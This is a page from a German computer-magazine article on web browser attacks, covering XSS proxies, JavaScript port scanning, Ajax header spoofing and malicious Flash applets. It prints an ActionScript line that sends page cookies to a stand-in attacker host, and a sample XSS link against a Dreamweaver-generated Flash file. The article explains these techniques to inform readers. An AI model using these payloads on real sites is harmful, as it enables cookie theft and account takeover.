Seite 2: Trickkiste

Inhaltsverzeichnis

Trickkiste

Doch findige Angreifer können mit eingeschleustem JavaScript nicht nur auf einem PC gespeicherte Cookies auslesen, sie können dargestellte Inhalte von Seiten komplett oder teilweise austauschen, die Eingabe des Opfers in Formularfelder überwachen oder sogar eigene Formulare an den Server schicken. Das geht so weit, dass ein Angreifer quasi in Echtzeit den Browser seines Opfers als Proxy missbrauchen kann, um gleichzeitig auf dem Server mitzusurfen, auf dem das Opfer gerade angemeldet ist. Das Ganze funktioniert über einen in JavaScript geschriebenen XSS-Proxy in einem versteckten IFrame, der die Verbindung mit einem Server des Betrügers aufrechterhält und Kommandos entgegennimmt [2, 3]. Im Kontext des Opfers kann er auf diese Weise etwa in einem Online-Shop eigene Bestellungen aufgeben.

Mit ausgefeilten Methoden lässt sich in JavaScript auch ein Port-Scanner implementieren, mit dem Hacker aus der Ferne beispielsweise das Intranet eines Unternehmens ausforschen können, sofern ein Mitarbeiter in die Falle tappt [4]. Mit den gewonnenen Ergebnissen planen die Angreifer ihr weiteres Vorgehen.

Sorgen bereitet Sicherheitsspezialisten auch die unter Ajax benutzte XMLHttpRequest-Schnittstelle (XHR), mit der JavaScript weitere Inhalte oder Daten von einem Webserver in Teilen dynamisch nachlädt, ohne dazu die gesamte Seite neu aufbauen zu müssen, wie es bei reinen HTML-Seiten der Fall ist. Da die Schnittstelle asynchron arbeitet, muss ein JavaScript nicht erst auf eine Antwort warten, sondern kann weitere Aufgaben erledigen. Webseiten wie Google Maps wären ohne diese Schnittstelle undenkbar. Allerdings wird damit der Verkehr zwischen Browser und Server für den Anwender unkontrollierbar. Typische Anzeichen einer Browser-Aktivität wie etwa der wachsende Ladebalken in der Statuszeile sind bei Ajax ohne Funktion. In der Folge kann auch der von Angreifern in einen Browser eingeschmuggelte Code noch unauffälliger agieren. Zusätzlich kann ein Skript mit XHR Teile des HTTP-Headers selbst definieren, bevor es den Request losschickt. Für Hacker ist das die ideale Möglichkeit, um den Referrer und andere Parameter zu fälschen. Eine nähere Analyse der Sicherheit und der Probleme von Ajax liefert auch der Artikel in [5].

Böser Blitz

Da bösartige JavaScripte auf der Fahndungsliste mittlerweile ganz oben stehen und Webseitenbetreiber sowie Netzadmins in Unternehmen nach und nach Schutzfunktionen wie JavaScript-Filter einführen, weichen die Kriminellen auf andere Wege aus. Dazu gehört unter anderem der Flash Player, der spätestens beim ersten neugierigen Besuch von YouTube auf dem Rechner eines Anwenders landet – also mittlerweile eigentlich auf jedem Rechner zu finden ist. Wer vermutet, dass der Flash Player nur Filmchen abspielen kann, täuscht sich gewaltig. Das früher hauptsächlich für interaktive Animationen genutzte Shockwave-Flash-Format (SWF) hat es in sich. Flash unterstützt ActionScript, das einen ähnlichen Funktionsumfang wie JavaScript bietet. ActionScript kann zudem zusätzlich JavaScript-Funktionen aufrufen und so – wie sollte es anders sein – auf Cookies zugreifen. Der Cookie-Klau sieht mit ActionScript beispielsweise so aus:

getURL("javascript:document.location('http://cookie-klau.de/klau.cgi?'+document .cookie)");

Der Flash Player ist für den Internet Explorer, Firefox, Safari und Opera als Plug-in unter Windows, Linux und Mac OS X verfügbar, womit die Kriminellen nicht nur auf ein plattformübergreifendes Instrument zurückgreifen können. Sie können zudem unter dem Radar der herkömmlichen Filter fliegen, da diese noch kein Flash analysieren können. Ein Blog, in dem die Nutzer zwar kein JavaScript, dafür aber Flash in ihre Einträge einbetten dürfen, kann also durchaus gefährlich werden. ActionScript erlaubt es wie XHR, vor dem Versenden eines HTTP-Requests viele Parameter im HTTP-Header selbst festzulegen – und zu verfälschen.

ActionScripte sind normalerweise nicht einfach so einsehbar, weshalb man sie mit speziellen Decompilern aus dem Flash-Applet extrahieren muss, um sie analysieren zu können. Dies machen bisher aber übliche automatische Filter nicht. So ist es etwa möglich, in präparierten eBay-Auktionen spezielle Flash-Applets nachzuladen und Bietern Anmeldenamen und Passwort zu stehlen. eBay kontrolliert zwar nach eigenen Angaben Auktionen auf bösartigen Code, offenbar tun sie dies aber nicht für Flash, wie die Verbraucherschützer von falle-internet.de im März dieses Jahres vorgeführt haben.

Noch dramatischer wird die Sache, wenn Sicherheitslücken wie Buffer Overflows in Flash ins Spiel kommen, mit denen Angreifer mittels präparierter Flash-Applets Würmer und Bots ins System schleusen und starten können. Dabei muss das Applet dem Anwender nicht einmal auffallen, es kann völlig unscheinbar in eine Seite eingebettet sein. Da das Browser-Plug-in ein Flash-Applet standardmäßig automatisch startet, reicht der Besuch einer präparierten Webseite, um den Rechner zu infizieren. Früher kannte man solche Probleme nur vom Internet Explorer. Zuletzt beseitigte die Flash-Version 9.0.124.0 von Anfang April zwei derartige kritische Lücken.

Dazu gesellen sich Fehler in verbreiteten Flash-Authoring-Tools wie Adobe Dreamweaver, Adobe Acrobat Connect, InfoSoft FusionCharts und Techsmith Camtasia, die SWF-Dateien generieren, die anfällig für Cross-Site-Scripting sind. Die Sicherheitsexperten von Google und der Firma iSEC fanden Ende des Jahrs 2007 heraus, dass sich beim Aufruf einer Flash-Anwendung JavaScript als Parameter übergeben und im Kontext der besuchten Seite ausführen lässt. Ein präparierter Link zum Ausnutzen einer XSS-Schwachstelle im Dreamweaver sah beispielsweise so aus:

http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//

Angreifer hätten diesen Link per Mail verschicken und dadurch beispielsweise Cookies und Passwörter auslesen oder Einträge in Blogs platzieren und Kommentare abgeben können. Unter den betroffenen Seiten waren nach Angaben der Spezialisten viele Regierungs- und Online-Banking-Websites. Zwar sind diese Fehler in den meisten Tools nun behoben, allerdings müssen die Webmaster ihre bestehenden Flash-Applets mit den neuen Versionen abermals übersetzen, um sich des Problems zu entledigen. Dass das wirklich überall geschehen ist, darf man anzweifeln.